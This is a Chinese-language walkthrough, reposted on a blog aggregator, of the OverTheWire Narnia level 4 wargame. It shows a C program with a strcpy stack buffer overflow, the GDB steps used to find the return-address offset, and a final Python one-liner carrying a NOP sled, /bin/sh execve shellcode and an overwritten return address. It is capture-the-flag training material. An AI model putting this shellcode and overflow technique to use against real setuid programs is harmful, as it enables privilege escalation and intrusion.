码迷,mamicode.com
首页 > 其他好文 > 详细

Wargame narnia level 4 (中文攻略)

时间:2014-06-09 16:50:12      阅读:370      评论:0      收藏:0      [点我收藏+]

标签:c   style   class   blog   code   java   

ssh narnia4@narnia.labs.overthewire.org

然后输入密码:XXOO

 

cat narnia4.c

bubuko.com,布布扣
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc,char **argv){
    int i;
    char buffer[256];

    for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], \0, strlen(environ[i]));

    if(argc>1)
        strcpy(buffer,argv[1]);

    return 0;
}
bubuko.com,布布扣

又是一个经典的溢出。

下面简单说了。

GDB 调试,在strcpy() 前后下断,找到字符串起始位置。

我运行的是输入了256个a   (ASCII码为0x61)

bubuko.com,布布扣

 

bubuko.com,布布扣

 

这里可以得到字符串起始位置0xffffd52c  , 

在程序结束前下断点,(RET)

bubuko.com,布布扣

查看下此时的ESP内存区域。

bubuko.com,布布扣

0xffffd63c,   

63c-52c=110(  十进制是272 )        , 即272个字节即可覆盖返回地址。

然后就是SHELLCODE 的组织等等,这里就不多说了,和NARNIA2 很相似。

 

最后的构造

`python -c ‘print "\x90"*232 + "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80" + "\x90"*12 + "\x70\xd5\xff\xff" ‘`

 

bubuko.com,布布扣

 

bubuko.com,布布扣

Wargame narnia level 4 (中文攻略),布布扣,bubuko.com

Wargame narnia level 4 (中文攻略)

标签:c   style   class   blog   code   java   

原文地址:http://www.cnblogs.com/wu-yan/p/3777660.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!